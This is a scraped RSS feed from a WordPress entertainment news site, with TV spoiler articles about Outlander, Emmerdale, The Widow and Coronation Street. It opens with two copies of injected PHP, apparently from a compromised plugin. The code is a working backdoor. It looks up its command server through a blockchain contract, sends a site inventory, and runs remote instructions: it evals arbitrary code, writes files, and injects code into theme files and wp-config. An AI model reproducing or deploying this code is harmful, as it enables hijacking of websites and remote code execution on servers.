// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); rocked – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 09 Aug 2020 01:42:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png rocked – Brief News https://briefnews.eu 32 32 Outlander season 6: Claire Fraser rocked by new time traveller as star drops big spoiler https://briefnews.eu/outlander-season-6-claire-fraser-rocked-by-new-time-traveller-as-star-drops-big-spoiler/ https://briefnews.eu/outlander-season-6-claire-fraser-rocked-by-new-time-traveller-as-star-drops-big-spoiler/#respond Sun, 09 Aug 2020 01:42:41 +0000 https://briefnews.eu/outlander-season-6-claire-fraser-rocked-by-new-time-traveller-as-star-drops-big-spoiler/

Fans will remember Claire Fraser (played by Caitriona Balfe) was stunned when she realised one of the men who kidnapped her in the season five finale was a time traveller. She begged him to free her but he reused not wanting to blow his cover. While he escaped when Jamie Fraser (Sam Heughan) and his men attacked Lionel Brown’s (Ned Dennehy) group, it’s now been hinted he will return in season six of Outlander – and he won’t be alone.

Claire was keen to find out if the man had survived Jamie’s attack as she opened up to her husband about the time traveller.

While he seemingly disappeared into thin air, if he comes upon hard times, he could return to Fraser’s Ridge and try to make amends with Claire.

There’s also the chance he knows of more time travellers who have settled in North Carolina like Claire and her daughter Brianna (Sophie Skelton).

Teasing season six, actor Sam remarked: “I am excited to see where Jamie goes this season, but to be honest, we now have six, almost seven, years of experience behind us.

READ MORE: Sam Heughan nationality: Is Outlander actor Scottish? 

Speaking on a virtual panel for the Paley Center’s YouTube Channel, she remarked: “I am excited to see all my crew.

“I think we miss them all dearly. It is sad that everyone is not able to get up and go to work, and maybe I will get a haircut this season. I will let Sam do it.”

Showrunner Matthew B Roberts has promised there will still be plenty of drama, trauma and suffering for the Frasers and MacKenzies.

He teased: “One of the things that we always dig into is the Frasers and the MacKenzies putting themselves out there.

“The reasons why I feel they are so affected by traumas and all the turmoil that goes on in the era, is because they try to help people.

“Whether that is people coming to Fraser’s Ridge, or them going out and trying to stop something, whether it was Culloden or Alamance, they put themselves out there.

“They put themselves at risk. Inherently, when you do that, you suffer.”

Outlander seasons 1-5 are available to stream on Amazon Prime Video now.

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]]> https://briefnews.eu/outlander-season-6-claire-fraser-rocked-by-new-time-traveller-as-star-drops-big-spoiler/feed/ 0 Emmerdale spoilers: Village rocked by unexpected death and fans are furious at Andrea Tate https://briefnews.eu/emmerdale-spoilers-village-rocked-by-unexpected-death-and-fans-are-furious-at-andrea-tate/ https://briefnews.eu/emmerdale-spoilers-village-rocked-by-unexpected-death-and-fans-are-furious-at-andrea-tate/#respond Fri, 31 Jan 2020 21:22:18 +0000 http://briefnews.eu/emmerdale-spoilers-village-rocked-by-unexpected-death-and-fans-are-furious-at-andrea-tate/

Graham Foster (played by Andrew Scarborough) was brutally murdered in the dead of night last week and if one death wasn’t savage enough, another occurred that same evening. During last night’s double bill of the ITV soap, Emmerdale viewers found out the truth about the second victim and it wasn’t what they expected.

Amongst the chaos of Pierce Harris (Jonathan Wrather) returned and brutally killing Graham in the middle of the woods, the Sharma family lost their dog Tip. 

The morning after Graham’s murder, Priya Sharma (Fiona Wade) was seen searching the forest for their beloved pet, when she stumbled upon Billy Fletcher (Jay Kontzle) out running. 

Together, they scoured the area, calling out Tip’s name, but their search was interrupted when Priya found Graham’s dead body lying amongst the leaves. 

The police were called, statements made and Marlon Dingle (Mark Charnock) was arrested.

But, still there has been no sign of the dog. 

READ MORE: Emmerdale spoilers: Aaron Dingle’s new love interest revealed?

Tonight, Emmerdale fans were treated to two half hour episodes and the fate of the dog became clear. 

Firstly, Priya was seen popping into the local shop and cafe handing out posters of a missing Tip, asking everyone she passed whether or not they had seen her dog. 

It wasn’t until a scene between Andrea Tate (Anna Nightingale) and Jamie Tate (Alexander Lincoln) that the truth was outed; Andrea had killed Tip. 

At first, Jamie was confused as to why he had been summoned to meet his estranged wife, assuming it was because she had found out about his brief fling with Belle Dingle (Eden Taylor-Draper) the same night Graham and Tip died. 

“So you just left the poor animal by the side of the road?” Jamie continued to probe and Andrea revealed: “No, I could never do that. I buried her in the woods.” 

Clearly shocked by her actions, Jamie exclaimed: “You did what?” 

“As soon as I drove off, I knew I had messed up, it was too late,” Andrea remarked. 

Those watching at home took to Twitter to discuss the fatality Tip experienced and many were understandably not too happy. 

One said: “FFS she buried the dog, what a d**k.  #emmerdale,” while another added: “Noooo. Andrea having killed lil Tip. I know it’s fictional but I’m crying!!! #Emmerdale.” 

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]]> https://briefnews.eu/emmerdale-spoilers-village-rocked-by-unexpected-death-and-fans-are-furious-at-andrea-tate/feed/ 0 The Widow on ITV: ‘Didn’t see that coming’ Viewers rocked by TWO bombshell twists https://briefnews.eu/the-widow-on-itv-didnt-see-that-coming-viewers-rocked-by-two-bombshell-twists/ https://briefnews.eu/the-widow-on-itv-didnt-see-that-coming-viewers-rocked-by-two-bombshell-twists/#respond Mon, 29 Apr 2019 22:14:37 +0000 http://briefnews.eu/the-widow-on-itv-didnt-see-that-coming-viewers-rocked-by-two-bombshell-twists/

Tonight’s episode of the ITV show saw Georgia Wells (played by Kate Beckinsale) discover the truth that her husband Will Mason (Matthew Le Nevez) was actually alive and well in Rwanda.

She found him being guarded in a house, and far from being held captor by the man standing outside, Will revealed he actually worked for him.

He told her what had happened, that Judith Gray (Alex Kingston) had tried to have him killed but he didn’t get on the plane that crashed after a bomb went off inside it.

Since then he had been laying low in the country and had since gone on to get into a relationship with another woman and a new baby.

Georgia was completely crushed at the revelation and completely broke down toward the end of the episode.

But is he telling the whole truth of the situation?

On top of that the close of the instalment saw Judith, who was believed to be killed in the previous episode, also alive.

The double twist was a complete surprise to some fans who expressed their opinions on Twitter.

“Wasn’t expecting that in #thewidow. What a b*****d!” one exclaimed.

Another added: “She’s not dead?? I was finally making sense of it all and then they throw in that final scene #TheWidow.”

“Well I didn’t see that coming …. I hope Will comes to a bad ending #TheWidow,” a third said.

A fourth declared: “Judith? Will? What the hell is going on. Cannot wait for the final episode tomorrow though! #TheWidow.”

While a fifth shared: “I think I just dislocated my jaw. After everything she’s just been through to find him. i can’t even .. what?! #TheWidow.”

However, could the big reveal about Judith not really being dead mean Will is in danger?

As one viewers noted: “Oh. Judith is going to find out Will is actually alive isn’t she? #TheWidow.”

Last week when Judith was said to be dead, some viewers weren’t so convinced.

It was Joshua Peake (Matthew Gravelle) who told Martin Benson (Charles Dance) that Judith had died.

He was the one who found her close to death, however, as a colleague of Judith’s, some fans thought he was lying to protect her.

With just one episode left, what will happen to Georgia after all she’s been through to find Will?

The Widow concludes tomorrow at 9pm on ITV.

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]]> https://briefnews.eu/the-widow-on-itv-didnt-see-that-coming-viewers-rocked-by-two-bombshell-twists/feed/ 0 Coronation Street spoilers: Roy Cropper rocked by shock DEATH in the family https://briefnews.eu/coronation-street-spoilers-roy-cropper-rocked-by-shock-death-in-the-family/ https://briefnews.eu/coronation-street-spoilers-roy-cropper-rocked-by-shock-death-in-the-family/#respond Sat, 29 Dec 2018 16:16:03 +0000 http://briefnews.eu/coronation-street-spoilers-roy-cropper-rocked-by-shock-death-in-the-family/

Coronation Street favourite Roy Cropper (played by David Neilson) has been through the mill on the ITV soap.

And it seems the beloved character could be in line for another devastation in the coming weeks. 

Reports have emerged suggesting a dramatic New Year storyline will see the demise of Roy’s mum, Sylvia Goodwin (Stephanie Cole).

It is believed the moment will happen off-screen, meaning Roy will get a phone call with the devastating news.

A source told the Daily Star: “It’s a shame she’s being bumped off like this. 

“She was a great character and everyone loves a Corrie battleaxe.”

Sylvia hasn’t been seen on Coronation Street since 2013.

She was one of the ITV soap’s most entertaining characters and often told Roy exactly what she thought.

The fiesty mother left around the same time Roy’s love, Hayley Cropper (Julie Hesmondhalgh) was diagnosed with pancreatic cancer.

Should Roy receive that phone call it would no doubt devastate Roy who isn’t quite over the loss of his wife. 

In the coming weeks, there will be another character completely devastated to see two more characters exit.

It’s Mary Taylor (Patti Clare) who faces the brunt of it when she is forced to say goodbye to her grandson. 

After a turbulent couple of months on Coronation Street, Angie Appleton (Victoria Ekanoye) decides it’s time to get a fresh start.

She takes baby George with her to forget the troubling times.

Her husband Jude (Paddy Wallace) was at the heart of the drama. 

He found it impossible not to lie to all of his family and it caused a lot of trouble for everyone who ran into him. 

Furthermore, Jude ran up a hefty debt at the B&B he was staying in and went missing. 

Worried mother Mary hired a PI to help her find her son – but it is Roy who discovers the truth.

Staying in the same hotel, Roy’s ears are pricked when he discovers Jude is using Dr. Ken Barlow as an alias.

Coronation Street continues Monday on ITV at 7.30pm. 

